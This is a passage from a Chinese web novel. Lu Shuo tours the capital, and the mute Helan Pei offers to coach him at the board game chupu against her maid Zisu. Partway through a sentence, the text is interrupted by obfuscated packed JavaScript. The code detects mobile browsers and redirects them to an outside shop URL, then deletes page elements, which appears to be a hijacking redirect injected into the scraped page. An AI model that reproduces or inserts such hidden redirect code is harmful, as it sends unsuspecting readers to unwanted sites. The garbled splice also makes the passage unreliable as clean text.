小狗虽然被养在贺兰佩的院子里,但它肯定会趁人不注意跑出去玩儿,贺兰佩想找它,只能盲目地到处乱找,而其他人一喊它的名字,它就会从不知道哪个角落冒出来,乐颠颠地冲向呼唤它的人。 而有时候,小狗趴在贺兰佩脚边玩闹,外面突然传来了什么动静,小狗便会好奇地跑出去,贺兰佩没法把它喊回来,反倒是紫苏厉喝一声,小狗倒是不情不愿地回来了。 小狗看不懂贺兰佩的手势,却能听懂其他人的指令,久而久之,贺兰佩便不愿意再跟小狗玩了。 “爹娘把它买回来,就是为了逗佩儿开心,既然事与愿违,反而让佩儿愈发闷闷不乐,那小狗也没有继续留着的道理,后来便把它送给另一户人家了。”贺兰振道,“所以府上至今也没有再养过其他小宠。” 卢朔怔了怔,不知如何接话。 竟然还有这么一件事吗……怪不得老爷夫人非要让他和四小姐一起上课,也怪不得四小姐之前要拉着他玩樗蒲,原来他猜得没错,四小姐果真是一只寂寞的笼中雀。 只是和其他雀儿不同,四小姐这只雀儿,即使打开了笼门,她也不愿意飞出去。 14.第 14 章 卢朔跟着贺兰振逛了半日的街,大致熟悉了京城里的情况,也长了很多见识。 其中最让他震惊的莫过于竟然在街上看见了两个浓眉大眼的胡人,棕黄色的卷发,深蓝色的眼睛,和街上其他人长得完全不一样。而卢朔脑子里根本没有“胡人”这个概念,一眼望过去,还以为大白天见鬼了,吓得腿脚一软,若不是贺兰振在旁扶住,他恐怕已经一屁股坐在地上了。 贺兰振跟他解释了一番,他才晓得,原来这些人是番邦来的商人,数量虽不多,但时不时也能在路上看见几个。所以满大街的老百姓都已见怪不怪,也就只有卢朔这样没见过世面的人才会大惊小怪。 那两个胡人给卢朔带来的冲击实在太大,卢朔第一次意识到原来京城以外还有更大的世界,以致于他后半段的行程都有些心不在焉了。 逛得差不多了,贺兰振问卢朔要不要买点什么,但卢朔一直推辞说没什么要买的,最后还是贺兰振自己买了几包糕点提回去,一人一包。 一大家子人吃过午饭,便各自回屋,卢朔坐在屋中,面前放着属于他的那包糕点,人却在对着窗外发呆。 京城很漂亮,要是爹娘也能看到,就好了。 他静坐了一会儿,然后掏出书,开始复习这几天学过的内容。 复习完了,便继续练字。 到了下午,紫苏来了,问卢朔是否有空,四小姐想找他一起玩樗蒲。 卢朔只犹豫了两息,便说有空。 他放下字帖,要跟紫苏一起走,紫苏却顿了下脚步,问:“添庆呢?他不跟着吗?” 卢朔道:“似乎是在午歇,来寿也是。他们经常忙,难得有空暇,就多歇会儿吧,我也用不着人随时服侍。” 紫苏笑道:“卢公子真是随和。” 二人到了东廊厢房,贺兰佩已经坐在蒲团上,在茶桌旁等着了,瞧见卢朔走进来,冲他笑了笑,把桌上的茶具收到一旁,把棋盘铺开。 卢朔忍不住问道:“小姐是专门在这里等我来吗?” 贺兰佩眨了眨眼,似乎是很奇怪他这个问题,理所当然地点了点头。 “我若不来呢?”卢朔顿了一下,又道,“我的意思是,我若有课业未完成呢?” 贺兰佩歪了下头,用手指着他,然后笃定地摆了摆手。 卢朔低下头,把棋盒拨到自己手边。 也是,他怎么会有未完成的课业,两个人上课是一起上的,他究竟有没有课业、有多少课业,四小姐知道得一清二楚。 她当然知道他有空陪她玩。 其实他也没有不愿陪她玩,毕竟樗蒲本身确实挺好玩的,而且他也愿意陪这只寂寞的笼中雀解闷,只是这种召之即来的感觉,还是令他微觉怅惘。 仿佛看出了他的心事,贺兰佩取棋的动作顿了顿,然后别过身,取了张纸,开始写字。 「你不想跟我玩吗?」 她写完了,把这行字展示给他看。 这些都是常用字,卢朔这几日已经在书本上见到了许多回,已经能够顺利识读了。 他张了张口,道:“我……” 她的眼神有谨慎有探究,还有几分紧张,仿佛生怕他开口确认似的。 卢朔自然是不可能拒绝她的。靠丫鬟传话时拒绝不了,当了面更加拒绝不了。 “我只是觉得,我玩得不好,怕扫了四小姐的兴致。”卢朔低声道,“不过,只要四小姐不嫌弃,我当然也愿意玩——这个很好玩。” 听到卢朔说好玩,贺兰佩便翘起唇角,粲然一笑。 卢朔的目光落在她手中的白纸上,看着她把那张写了字的白纸折起,随手搁到一旁,风一吹,便摇摇晃晃擦过桌沿,将掉未掉。 贺兰佩却并未注意这些,她抬了抬手,示意卢朔先走棋。 两人便又开始了对局。 卢朔已经熟悉了游戏规则,不需要紫苏再在旁边提示了,只是他仍旧只会走一步看一步,不太会统筹全局,更不会设计陷阱算计对手这么高端的玩法。 结果又输了两把,贺兰佩心满意足地托住了脸,眨巴着眼看向对面的卢朔。 卢朔还在拧眉看着输局,并不让贺兰佩收拾棋盘,似乎还在复盘自己是怎么输的。 贺兰佩又开始琢磨,是不是下局再给卢朔放点水,好让他对这游戏保留热情。 谁知卢朔明明看着棋盘,却仿佛知道她心里在想什么,冷不丁开口道:“我知道我玩得不好,但四小姐也别急着让我,让我就没意思了。” 贺兰佩挠了挠脸。 可是不让他,他就这么一直输,也不好吧? 她转了转眼珠,目光瞥见坐在外面发呆的紫苏,忽然福至心灵,又捡起刚才的白纸,在上面唰唰唰写了几笔。 卢朔诧异抬头,便看见贺兰佩睁着一双乌溜溜的眼睛,把写了新字的纸又举到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537750|203368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他的面前。 「你跟紫苏玩,我在旁边教你赢,如何?」 卢朔一愣。 这次多了几个不太认识的字,但好在整体意思能猜出来,卢朔没想到还有这种方法,一时间不知如何回答。 贺兰佩却觉得自己这个主意很好。卢朔才刚开始玩,肯定是玩不过她的,但若让他自己慢慢琢磨技巧,谁知道要花上多久。 不如便让她来带一带他,让他尽快领悟到这个游戏真正的乐趣所在。 见卢朔不吭声,她还以为是他又看不懂字儿了,便敲了敲窗台,示意紫苏进来。 紫苏走进来,发现是让自己跟卢朔和贺兰佩二人对局,不由叫道:“这不公平吧,小姐!你若让奴婢和卢公子单独玩也就算了,怎么自己还偏帮卢公子!奴婢以一敌二,哪有赢的份!” 贺兰佩却咧了咧嘴,又飞快写了些字,递给紫苏:「你比他会玩,赢他很容易,我若不帮他,他岂不是只能一直输了?我虽帮他,却不全帮,花色都由他掷,走棋也是他自己走,我不直接插手,只在旁边写字给出建议。但他若看不懂我写的字,那就没办法了,你觉得怎么样?」 紫苏摸了摸下巴,认真考虑了一下可行性。 卢公子字还没认全,小姐即使给了他正确的建议,他也未必能看懂,甚至可能理解成相反的意思……这么看来,他只是得到了一点帮助,但不多,她的胜算也还有不少。 “奴婢觉得这样可行。”紫苏看向卢朔,笑眯眯地把贺兰佩的意思讲了一遍,“卢公子,你意下如何?” 卢朔深吸一口气:“……也好,就是得辛苦小姐了。” 紫苏一拍手:“好,那就这么定了!” 厢房的茶桌一边靠着窗台,另外三边各放了一个蒲团,分别是贺兰佩的、蒋司籍的和卢朔的。 现在茶桌被当成棋桌用了,方才贺兰佩和卢朔相对而坐,贺兰佩坐的是自己的蒲团,卢朔坐的是蒋司籍的蒲团,现在紫苏替换了贺兰佩的位子,贺兰佩就拖着空置的、原本属于卢朔的那只蒲团,坐到了卢朔的手边。 茶桌本也不大,一条边上忽然塞了两个人,顿时就显得狭窄起来。 贺兰佩提着笔,膝上放了白纸,一副随时准备建言献策的样子。 她看着紫苏把棋盘收拾干净,又偏过头看向卢朔,眉梢眼底俱是鼓励的笑意。 卢朔垂着脑袋,默默地往墙边挪了挪。